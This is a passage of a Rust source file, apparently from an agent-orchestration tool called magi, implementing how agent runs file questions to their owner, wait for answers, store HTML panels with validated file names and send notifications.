1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 5;
60
61const POLL: Duration = Duration::from_secs(3);
70
71const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
82
83const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
89
90const WAIT_SLICE: Duration = Duration::from_secs(240);
114
115pub const LEASE_TTL: Duration = Duration::from_secs(90);
125
126const LOCK_STALE: Duration = Duration::from_secs(10);
129
130pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
141
142pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
151
152const PANEL_DIR: &str = ".panel";
158
159const PANEL_HTML: &str = "index.html";
161
162const PANEL_TMP: &str = ".panel.tmp";
164
165pub fn valid_asset_name(name: &str) -> bool {
182 if name.is_empty() || name.len() > 64 || name.contains("..") {
183 return false;
184 }
185 let mut chars = name.chars();
186 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
187 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
188}
189
190#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192#[serde(rename_all = "lowercase")]
193pub enum QuestionStatus {
194 Open,
196 Answered,
198 Abandoned,
202}
203
204impl QuestionStatus {
205 pub fn open(self) -> bool {
207 matches!(self, Self::Open)
208 }
209
210 pub fn as_str(self) -> &'static str {
212 match self {
213 Self::Open => "open",
214 Self::Answered => "answered",
215 Self::Abandoned => "abandoned",
216 }
217 }
218}
219
220#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
227#[serde(rename_all = "lowercase")]
228pub enum Answer {
229 Choice(String),
231 Text(String),
233}
234
235#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
243#[serde(tag = "do", rename_all = "lowercase")]
244pub enum ChoiceAction {
245 Resume {
247 run: String,
249 },
250 Requeue,
252 Done,
254}
255
256impl ChoiceAction {
257 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
262 let Some((label, verb)) = spec.rsplit_once('=') else {
263 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
264 };
265 let label = label.trim();
266 if label.is_empty() {
267 bail!("`--action {spec}` names no choice before `=`");
268 }
269 let verb = verb.trim();
270 let action = match verb.split_once(':') {
271 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
272 run: run.trim().to_owned(),
273 },
274 None if verb == "resume" => {
275 if default_run.is_empty() {
276 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
277 }
278 Self::Resume {
279 run: default_run.to_owned(),
280 }
281 }
282 None if verb == "requeue" => Self::Requeue,
283 None if verb == "done" => Self::Done,
284 _ => bail!(
285 "unknown action `{verb}` in `--action {spec}`; \
286 use resume[:<run>], requeue or done"
287 ),
288 };
289 Ok((label.to_owned(), action))
290 }
291
292 pub fn describe(&self) -> String {
294 match self {
295 Self::Resume { run } => format!("resume run {}", short(run)),
296 Self::Requeue => "requeue the task".to_owned(),
297 Self::Done => "mark the task done".to_owned(),
298 }
299 }
300}
301
302pub fn parse_actions(
305 specs: &[String],
306 choices: &[String],
307 default_run: &str,
308) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
309 let mut out = std::collections::BTreeMap::new();
310 for spec in specs {
311 let (label, action) = ChoiceAction::parse(spec, default_run)?;
312 if !choices.contains(&label) {
313 bail!(
314 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
315 choices.join(", ")
316 );
317 }
318 if out.insert(label.clone(), action).is_some() {
319 bail!("more than one --action for `{label}`");
320 }
321 }
322 Ok(out)
323}
324
325#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
336#[serde(rename_all = "lowercase")]
337pub enum Who {
338 Operator,
340 Agent,
343}
344
345#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
353#[serde(deny_unknown_fields)]
354pub struct Turn {
355 pub who: Who,
357 pub body: String,
359 pub at: Timestamp,
361}
362
363#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
365#[serde(rename_all = "lowercase")]
366pub enum WaiterKind {
367 Asker,
369 Daemon,
372 Deputy,
376}
377
378#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
390pub struct Deputy {
391 pub brief: String,
394 #[serde(default)]
396 pub agent: String,
397 #[serde(default)]
399 pub seat: Option<crate::agent::SeatState>,
400 #[serde(default)]
403 pub starts: u32,
404}
405
406impl Deputy {
407 pub fn new(brief: String) -> Self {
409 Self {
410 brief,
411 agent: String::new(),
412 seat: None,
413 starts: 0,
414 }
415 }
416}
417
418pub fn deputy_seat_key(id: &str) -> String {
420 format!("deputy-{}", short(id))
421}
422
423#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
428pub struct Waiter {
429 pub kind: WaiterKind,
431 pub since: Timestamp,
433}
434
435#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
444pub struct Lease {
445 pub kind: WaiterKind,
447 pub pid: u32,
449 pub beat_at: Timestamp,
451}
452
453impl Lease {
454 pub fn fresh(&self, now: Timestamp) -> bool {
456 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
457 }
458}
459
460#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
462#[serde(deny_unknown_fields)]
463pub struct Question {
464 pub schema: u32,
466 pub id: String,
469 pub run: String,
471 pub node: String,
473 pub seat: String,
476 pub summary: String,
479 pub detail: String,
482 pub choices: Vec<String>,
486 #[serde(default)]
490 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
491 #[serde(default)]
498 pub panel: bool,
499 #[serde(default)]
506 pub assets: Vec<String>,
507 pub status: QuestionStatus,
509 pub asked_at: Timestamp,
511 pub answered_at: Option<Timestamp>,
513 pub answer: Option<Answer>,
515 #[serde(default)]
524 pub thread: Vec<Turn>,
525 #[serde(default)]
540 pub answer_timeout: u64,
541 #[serde(default)]
547 pub cwd: Option<String>,
548 #[serde(default)]
550 pub waiter: Option<Waiter>,
551 #[serde(default)]
555 pub delivered_turns: usize,
556 #[serde(default)]
559 pub answer_delivered: bool,
560 #[serde(default)]
563 pub deputy: Option<Deputy>,
564}
565
566impl Question {
567 pub fn new(
570 run: String,
571 node: String,
572 seat: String,
573 summary: String,
574 detail: String,
575 choices: Vec<String>,
576 ) -> Self {
577 Self {
578 schema: SCHEMA,
579 id: new_id(),
580 run,
581 node,
582 seat,
583 summary,
584 detail,
585 choices,
586 actions: std::collections::BTreeMap::new(),
587 panel: false,
588 assets: Vec::new(),
589 status: QuestionStatus::Open,
590 asked_at: Timestamp::now(),
591 answered_at: None,
592 answer: None,
593 thread: Vec::new(),
594 answer_timeout: 0,
595 cwd: None,
596 waiter: None,
597 delivered_turns: 0,
598 answer_delivered: false,
599 deputy: None,
600 }
601 }
602
603 pub fn short(&self) -> &str {
605 short(&self.id)
606 }
607
608 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
611 match (&self.status, &self.answer) {
612 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
613 _ => None,
614 }
615 }
616
617 pub fn free_text(&self) -> bool {
619 self.choices.is_empty()
620 }
621
622 pub fn answer(&mut self, answer: Answer) -> Result<()> {
632 match self.status {
633 QuestionStatus::Answered => bail!(
634 "question {} was already answered; the run has moved on and a \
635 second answer would be a decision nobody acted on",
636 self.short()
637 ),
638 QuestionStatus::Abandoned => bail!(
639 "question {} was abandoned and the run behind it is gone",
640 self.short()
641 ),
642 QuestionStatus::Open => {}
643 }
644 let body = match &answer {
645 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
646 };
647 if body.trim().is_empty() {
648 bail!(
649 "question {} needs an answer; an empty one tells the agent \
650 nothing and it would guess anyway",
651 self.short()
652 );
653 }
654 match &answer {
655 Answer::Choice(c) if self.free_text() => bail!(
656 "question {} asks for free text, so `{c}` cannot be a choice \
657 it offered",
658 self.short()
659 ),
660 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
661 "`{c}` is not one of the choices question {} offers: {}",
662 self.short(),
663 self.choices.join(", ")
664 ),
665 Answer::Text(_) if !self.free_text() => bail!(
666 "question {} is multiple choice; answer with one of: {}",
667 self.short(),
668 self.choices.join(", ")
669 ),
670 _ => {}
671 }
672 self.answered_at = Some(Timestamp::now());
673 self.answer = Some(answer);
674 self.status = QuestionStatus::Answered;
675 Ok(())
676 }
677
678 pub fn abandon(&mut self, why: impl Into<String>) {
690 if !self.status.open() {
691 return;
692 }
693 self.status = QuestionStatus::Abandoned;
694 let why = why.into();
695 let why = why.trim();
696 if why.is_empty() {
697 return;
698 }
699 if !self.detail.is_empty() {
700 self.detail.push('\n');
701 }
702 self.detail.push_str("\n_Abandoned: ");
703 self.detail.push_str(why);
704 self.detail.push_str("._\n");
705 }
706
707 pub fn resolution(&self) -> Option<String> {
714 match (self.status, &self.answer) {
715 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
716 Some(a.clone())
717 }
718 _ => None,
719 }
720 }
721
722 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, quote: &str) -> Result<()> {
733 let Some(deputy) = &self.deputy else {
734 bail!("question {} has no deputy", self.short());
735 };
736 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
737 if own != Some(seat) {
738 bail!("only the deputy of question {} may settle it", self.short());
739 }
740 if !self.choices.iter().any(|c| c == label) {
741 bail!(
742 "`{label}` is not one of the choices offered on question {}",
743 self.short()
744 );
745 }
746 let quote = quote.trim();
747 if quote.is_empty()
748 || !self
749 .thread
750 .iter()
751 .any(|t| t.who == Who::Operator && t.body.contains(quote))
752 {
753 bail!(
754 "the quote is not something the owner said on question {}",
755 self.short()
756 );
757 }
758 if self.node == crate::land::APPROVAL_NODE {
759 let word = if label == crate::land::APPROVE {
763 Some(crate::land::APPROVE)
764 } else if label == crate::land::HOLD {
765 Some(crate::land::HOLD)
766 } else {
767 None
768 };
769 let exact = word.is_some_and(|w| {
770 quote.eq_ignore_ascii_case(w)
773 && self
774 .thread
775 .iter()
776 .rev()
777 .find(|t| t.who == Who::Operator)
778 .is_some_and(|t| t.body.trim().eq_ignore_ascii_case(w))
779 });
780 if !exact {
781 bail!(
782 "on a merge approval only an owner message that is exactly `{label}` \
783 settles it; ask what they mean with `--thread` instead"
784 );
785 }
786 }
787 self.thread.push(Turn {
788 who: Who::Agent,
789 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
790 at: Timestamp::now(),
791 });
792 self.delivered_turns = self.thread.len();
793 self.answer(Answer::Choice(label.to_owned()))
794 }
795
796 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
807 match self.status {
808 QuestionStatus::Answered => bail!(
809 "question {} was already answered; there is nothing left to \
810 discuss",
811 self.short()
812 ),
813 QuestionStatus::Abandoned => bail!(
814 "question {} was abandoned and the run behind it is gone",
815 self.short()
816 ),
817 QuestionStatus::Open => {}
818 }
819 let body = body.into();
820 if body.trim().is_empty() {
821 bail!("a message to question {} cannot be empty", self.short());
822 }
823 self.thread.push(Turn {
824 who: Who::Operator,
825 body,
826 at: Timestamp::now(),
827 });
828 Ok(())
829 }
830
831 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
841 match self.status {
842 QuestionStatus::Answered => bail!(
843 "question {} was already answered; replying now would not \
844 reach anyone",
845 self.short()
846 ),
847 QuestionStatus::Abandoned => bail!(
848 "question {} was abandoned and the run behind it is gone",
849 self.short()
850 ),
851 QuestionStatus::Open => {}
852 }
853 let body = body.into();
854 if body.trim().is_empty() {
855 bail!("a reply to question {} cannot be empty", self.short());
856 }
857 self.actions.retain(|label, _| choices.contains(label));
859 self.choices = choices;
860 let unread = self.unread_from_owner().is_some();
861 self.thread.push(Turn {
862 who: Who::Agent,
863 body,
864 at: Timestamp::now(),
865 });
866 if !unread {
870 self.delivered_turns = self.thread.len();
871 }
872 Ok(())
873 }
874
875 pub fn unread_from_owner(&self) -> Option<String> {
882 if !self.status.open() {
883 return None;
884 }
885 let said = self.undelivered_owner_turns();
886 (!said.is_empty()).then(|| said.join("\n\n"))
887 }
888
889 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
895 let from = self.delivered_turns.min(self.thread.len());
896 self.thread[from..]
897 .iter()
898 .filter(|t| t.who == Who::Operator)
899 .map(|t| t.body.as_str())
900 .collect()
901 }
902
903 pub fn last_activity(&self) -> i64 {
907 self.thread
908 .iter()
909 .map(|t| t.at.as_second())
910 .max()
911 .unwrap_or(0)
912 .max(self.asked_at.as_second())
913 }
914
915 pub fn waiting_on_agent(&self) -> bool {
924 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
925 }
926
927 fn should_notify(&self, now: Timestamp) -> bool {
935 let Some(last) = self
936 .thread
937 .iter()
938 .rev()
939 .find(|t| t.who == Who::Operator)
940 .map(|t| t.at)
941 else {
942 return true;
943 };
944 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
945 }
946}
947
948#[derive(Debug, Clone)]
950pub struct Questions {
951 root: PathBuf,
952}
953
954impl Questions {
955 pub fn open() -> Self {
957 Self::at(crate::run::home().join("questions"))
958 }
959
960 pub fn at(root: PathBuf) -> Self {
963 Self { root }
964 }
965
966 pub fn root(&self) -> &Path {
968 &self.root
969 }
970
971 pub fn path_of(&self, id: &str) -> PathBuf {
973 self.root.join(format!("{id}.json"))
974 }
975
976 pub fn panel_dir(&self, id: &str) -> PathBuf {
978 self.root.join(format!("{id}{PANEL_DIR}"))
979 }
980
981 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1005 if !valid_asset_name(&q.id) {
1006 bail!(
1007 "question id `{}` is not a name magi will build a panel path from",
1008 q.id
1009 );
1010 }
1011 if html.trim().is_empty() {
1012 bail!(
1013 "question {} was handed an empty panel; an empty frame reads to \
1014 the owner as \"the agent had nothing to say\", which is a lie",
1015 q.short()
1016 );
1017 }
1018
1019 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1022 for src in assets {
1023 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1024 if !valid_asset_name(name) {
1025 bail!(
1026 "panel asset `{}` cannot be stored: a panel file name must \
1027 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1028 src.display()
1029 );
1030 }
1031 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1032 bail!(
1033 "two panel assets are both named `{name}` - {} and {} - and \
1034 the panel can only show one of them; rename one at the source",
1035 first.display(),
1036 src.display()
1037 );
1038 }
1039 named.push((name.to_owned(), src.as_path()));
1040 }
1041
1042 let mut total = html.len() as u64;
1043 for (_, src) in &named {
1044 let meta = std::fs::metadata(src)
1045 .with_context(|| format!("stat panel asset {}", src.display()))?;
1046 if !meta.is_file() {
1047 bail!(
1048 "panel asset `{}` is not a file; a panel is html plus files \
1049 copied beside it",
1050 src.display()
1051 );
1052 }
1053 total = total.saturating_add(meta.len());
1054 }
1055 if total > PANEL_MAX_BYTES {
1056 bail!(
1057 "panel for question {} is {total} bytes, over magi's cap of \
1058 {PANEL_MAX_BYTES} bytes; nothing was written",
1059 q.short()
1060 );
1061 }
1062
1063 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1064 let dir = self.panel_dir(&q.id);
1065 std::fs::create_dir_all(&self.root)
1066 .with_context(|| format!("create {}", self.root.display()))?;
1067 clear_dir(&tmp)?;
1068 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1069 if let Err(e) = fill_panel(&tmp, html, &named) {
1070 let _ = std::fs::remove_dir_all(&tmp);
1073 return Err(e);
1074 }
1075 clear_dir(&dir)?;
1076 std::fs::rename(&tmp, &dir)
1077 .with_context(|| format!("move panel into {}", dir.display()))?;
1078
1079 q.panel = true;
1080 q.assets = named.into_iter().map(|(n, _)| n).collect();
1081 q.assets.sort_unstable();
1082 Ok(())
1083 }
1084
1085 pub fn panel_html(&self, id: &str) -> Option<String> {
1091 if !valid_asset_name(id) {
1092 return None;
1093 }
1094 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1095 }
1096
1097 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1108 if !valid_asset_name(name) {
1109 bail!(
1110 "`{name}` is not a panel file name; it must match \
1111 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1112 );
1113 }
1114 if !valid_asset_name(id) {
1115 return Ok(None);
1116 }
1117 let dir = self.panel_dir(id);
1118 if !dir.is_dir() {
1119 return Ok(None);
1120 }
1121 let path = dir.join(name);
1122 match std::fs::read(&path) {
1123 Ok(bytes) => Ok(Some(bytes)),
1124 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1125 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1126 }
1127 }
1128
1129 pub fn drop_panel(&self, id: &str) -> Result<()> {
1138 if !valid_asset_name(id) {
1139 bail!("question id `{id}` is not a name magi will build a panel path from");
1140 }
1141 clear_dir(&self.panel_dir(id))?;
1142 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1143 }
1144
1145 pub fn lease_path(&self, id: &str) -> PathBuf {
1147 self.root.join(format!("{id}.lease"))
1148 }
1149
1150 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1152 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1153 serde_json::from_str(&body).ok()
1154 }
1155
1156 pub fn beat(&self, id: &str, kind: WaiterKind) {
1163 let lease = Lease {
1164 kind,
1165 pid: std::process::id(),
1166 beat_at: Timestamp::now(),
1167 };
1168 let path = self.lease_path(id);
1169 let tmp = path.with_extension("lease.tmp");
1170 let written = std::fs::create_dir_all(&self.root)
1171 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1172 .and_then(|()| std::fs::rename(&tmp, &path));
1173 if let Err(e) = written {
1174 tracing::debug!("could not beat the lease on question {id}: {e}");
1175 }
1176 }
1177
1178 pub fn drop_lease(&self, id: &str) {
1180 let _ = std::fs::remove_file(self.lease_path(id));
1181 }
1182
1183 pub fn update<T>(
1194 &self,
1195 id: &str,
1196 f: impl FnOnce(&mut Question) -> Result<T>,
1197 ) -> Result<(Question, T)> {
1198 std::fs::create_dir_all(&self.root)
1199 .with_context(|| format!("create {}", self.root.display()))?;
1200 let lock = self.root.join(format!("{id}.lock"));
1201 let started = std::time::Instant::now();
1202 loop {
1203 match std::fs::OpenOptions::new()
1204 .write(true)
1205 .create_new(true)
1206 .open(&lock)
1207 {
1208 Ok(_) => break,
1209 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1210 let stale = std::fs::metadata(&lock)
1211 .and_then(|m| m.modified())
1212 .ok()
1213 .and_then(|t| t.elapsed().ok())
1214 .is_some_and(|age| age > LOCK_STALE);
1215 if stale {
1216 let _ = std::fs::remove_file(&lock);
1217 } else if started.elapsed() > LOCK_STALE {
1218 bail!("could not lock question {id}");
1219 } else {
1220 std::thread::sleep(Duration::from_millis(15));
1221 }
1222 }
1223 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1224 }
1225 }
1226 struct Unlock(PathBuf);
1227 impl Drop for Unlock {
1228 fn drop(&mut self) {
1229 let _ = std::fs::remove_file(&self.0);
1230 }
1231 }
1232 let _guard = Unlock(lock);
1233 let mut q = read_path(&self.path_of(id))?;
1234 let out = f(&mut q)?;
1235 self.put(&mut q)?;
1236 Ok((q, out))
1237 }
1238
1239 pub fn put(&self, q: &mut Question) -> Result<()> {
1243 std::fs::create_dir_all(&self.root)
1244 .with_context(|| format!("create {}", self.root.display()))?;
1245 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1246 let path = self.path_of(&q.id);
1247 let tmp = path.with_extension("json.tmp");
1248 let is_new = !path.exists();
1249 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1250 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1251 if is_new
1254 && q.status.open()
1255 && q.node != crate::bump::NOTICE_NODE
1256 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1257 {
1258 crate::notices::quiet_for(home, q);
1259 }
1260 Ok(())
1261 }
1262
1263 pub fn get(&self, id: &str) -> Result<Question> {
1265 let resolved = self.resolve_id(id)?;
1266 read_path(&self.path_of(&resolved))
1267 }
1268
1269 pub fn list(&self) -> Vec<Question> {
1277 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1278 .into_iter()
1279 .flatten()
1280 .flatten()
1281 .map(|e| e.path())
1282 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1283 .filter_map(|p| read_path(&p).ok())
1284 .collect();
1285 all.sort_unstable_by(|a, b| {
1286 let rank = |q: &Question| u8::from(!q.status.open());
1287 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1288 });
1289 all
1290 }
1291
1292 pub fn open_for(&self, run: &str) -> Vec<Question> {
1298 self.list()
1299 .into_iter()
1300 .filter(|q| q.status.open() && q.run == run)
1301 .collect()
1302 }
1303
1304 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1317 let mut abandoned = 0;
1318 for mut q in self.open_for(run) {
1319 q.abandon(why);
1320 self.put(&mut q)?;
1321 abandoned += 1;
1322 }
1323 Ok(abandoned)
1324 }
1325
1326 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1350 if status.resumable() {
1351 return Ok(0);
1352 }
1353 let why = format!(
1354 "run {run} {}, so nothing is waiting for this answer",
1355 status.as_str()
1356 );
1357 let mut abandoned = 0;
1362 for mut q in self.open_for(run) {
1363 if q.node == crate::bump::NOTICE_NODE {
1364 continue;
1365 }
1366 q.abandon(&why);
1367 self.put(&mut q)?;
1368 abandoned += 1;
1369 }
1370 Ok(abandoned)
1371 }
1372
1373 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1376 if self.path_of(prefix).is_file() {
1377 return Ok(prefix.to_owned());
1378 }
1379 let hits: Vec<String> = self
1380 .list()
1381 .into_iter()
1382 .map(|q| q.id)
1383 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1384 .collect();
1385 match hits.len() {
1386 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1387 0 => bail!("no question matches `{prefix}`"),
1388 _ => bail!(
1389 "`{prefix}` matches {} questions: {}",
1390 hits.len(),
1391 hits.join(", ")
1392 ),
1393 }
1394 }
1395
1396 pub fn revision(&self) -> u64 {
1400 std::fs::read_dir(&self.root)
1401 .into_iter()
1402 .flatten()
1403 .flatten()
1404 .filter_map(|e| e.metadata().ok())
1405 .filter_map(|m| m.modified().ok())
1406 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1407 .map(|d| d.as_millis() as u64)
1408 .max()
1409 .unwrap_or(0)
1410 }
1411
1412 pub fn count_open(&self) -> usize {
1418 self.list().iter().filter(|q| q.status.open()).count()
1419 }
1420
1421 pub fn count_needs_owner(&self) -> usize {
1430 self.list()
1431 .iter()
1432 .filter(|q| q.status.open() && !q.waiting_on_agent())
1433 .count()
1434 }
1435}
1436
1437#[derive(Debug, Clone, PartialEq, Eq)]
1439pub enum Wait {
1440 Answered(String),
1442 Replied(String),
1447 Pending,
1454 Abandoned,
1459}
1460
1461pub async fn ask_and_wait(
1468 q: &mut Question,
1469 store: &Questions,
1470 notify: &config::Notify,
1471 timeout: Duration,
1472) -> Result<Wait> {
1473 wait_for_owner(q, store, notify, timeout, POLL).await
1474}
1475
1476pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1491 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1492}
1493
1494async fn wait_for_owner(
1500 q: &mut Question,
1501 store: &Questions,
1502 cfg: &config::Notify,
1503 timeout: Duration,
1504 poll: Duration,
1505) -> Result<Wait> {
1506 if !store.path_of(&q.id).is_file() {
1510 store.put(q).context("file the question")?;
1511 }
1512 if q.should_notify(Timestamp::now()) {
1513 if let Err(e) = notify(cfg, q).await {
1514 tracing::warn!(
1519 "could not notify about question {}: {e:#} - the web UI is the \
1520 only surface for it now",
1521 q.short()
1522 );
1523 }
1524 }
1525 tracing::info!(
1526 "question {} from {} is waiting for you: {}",
1527 q.short(),
1528 q.seat,
1529 q.summary
1530 );
1531 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1532}
1533
1534fn hold(store: &Questions, id: &str) {
1536 store.beat(id, WaiterKind::Asker);
1537 let took = store.update(id, |q| {
1538 if q.status.open() {
1539 q.waiter = Some(Waiter {
1540 kind: WaiterKind::Asker,
1541 since: Timestamp::now(),
1542 });
1543 }
1544 Ok(())
1545 });
1546 if let Err(e) = took {
1547 tracing::debug!("could not note the wait on question {id}: {e:#}");
1548 }
1549}
1550
1551pub fn hand_over(store: &Questions, q: &mut Question) {
1559 let done = store.update(&q.id, |r| {
1560 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1561 if r.status == QuestionStatus::Answered {
1562 r.answer_delivered = true;
1563 }
1564 r.waiter = None;
1565 Ok(())
1566 });
1567 match done {
1568 Ok((fresh, ())) => *q = fresh,
1569 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1570 }
1571}
1572
1573pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1577 let says = q.undelivered_owner_turns();
1578 if says.is_empty() {
1579 return answer.to_owned();
1580 }
1581 format!(
1582 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1583 says.join("\n\n")
1584 )
1585}
1586
1587pub fn deliver_answer(
1590 store: &Questions,
1591 q: &mut Question,
1592 answer: &str,
1593 out: &mut impl std::io::Write,
1594) -> std::io::Result<()> {
1595 writeln!(out, "{}", answer_for_agent(q, answer))?;
1596 out.flush()?;
1597 hand_over(store, q);
1598 Ok(())
1599}
1600
1601async fn wait_loop(
1611 q: &mut Question,
1612 store: &Questions,
1613 timeout: Duration,
1614 slice: Duration,
1615 poll: Duration,
1616) -> Result<Wait> {
1617 if let Some(said) = q.unread_from_owner() {
1627 return Ok(Wait::Replied(said));
1628 }
1629 hold(store, &q.id);
1630
1631 let bounded = timeout.min(slice);
1632 let is_the_real_deadline = bounded >= timeout;
1633 let deadline = tokio::time::Instant::now() + bounded;
1634 loop {
1635 let now = tokio::time::Instant::now();
1636 if now >= deadline {
1637 if !is_the_real_deadline {
1638 return Ok(Wait::Pending);
1642 }
1643 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1644 let (fresh, unread) = store
1648 .update(&q.id, |r| {
1649 let unread = r.unread_from_owner();
1650 if unread.is_none() {
1651 r.abandon(&why);
1652 r.waiter = None;
1653 }
1654 Ok(unread)
1655 })
1656 .context("record the abandoned question")?;
1657 *q = fresh;
1658 if let Some(said) = unread {
1659 return Ok(Wait::Replied(said));
1660 }
1661 tracing::warn!(
1662 "question {} went unanswered for {}s; the run parks and the \
1663 question stays as the record of it",
1664 q.short(),
1665 timeout.as_secs()
1666 );
1667 return Ok(Wait::Abandoned);
1668 }
1669 tokio::time::sleep(poll.min(deadline - now)).await;
1670 store.beat(&q.id, WaiterKind::Asker);
1671 match store.get(&q.id) {
1672 Ok(fresh) if !fresh.status.open() => {
1673 *q = fresh;
1677 return Ok(match q.resolution() {
1678 Some(a) => Wait::Answered(a),
1679 None => Wait::Abandoned,
1682 });
1683 }
1684 Ok(fresh) => {
1685 if let Some(said) = fresh.unread_from_owner() {
1686 *q = fresh;
1687 return Ok(Wait::Replied(said));
1688 }
1689 }
1692 Err(e) => {
1693 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1697 }
1698 }
1699 }
1700}
1701
1702pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1713 notify_text(cmd, &q.run, &q.summary).await
1714}
1715
1716pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1719 let Some((program, args)) = cmd.command.split_first() else {
1720 return Ok(());
1722 };
1723 let url = web_url();
1724 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1725 tracing::warn!(
1726 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1727 so the link will be empty - export it next to `magi serve` with \
1728 the address `magi web --open` printed"
1729 );
1730 }
1731 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1732 tracing::debug!(program = %program, args = ?argv, "notifying");
1733
1734 let mut child = tokio::process::Command::new(program);
1735 child.quiet();
1736 child
1737 .args(&argv)
1738 .stdin(std::process::Stdio::null())
1739 .kill_on_drop(true);
1742 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1743 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1744 Err(_) => bail!(
1745 "notification command `{program}` did not finish within {}s",
1746 NOTIFY_TIMEOUT.as_secs()
1747 ),
1748 };
1749 if !out.status.success() {
1750 let stderr = String::from_utf8_lossy(&out.stderr);
1751 let why = stderr
1752 .lines()
1753 .rev()
1754 .find(|l| !l.trim().is_empty())
1755 .unwrap_or("no output on stderr")
1756 .trim();
1757 bail!(
1758 "notification command `{program}` exited with {}: {why}",
1759 out.status
1760 );
1761 }
1762 Ok(())
1763}
1764
1765fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1771 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1772 let mut out = String::with_capacity(template.len());
1773 let mut rest = template;
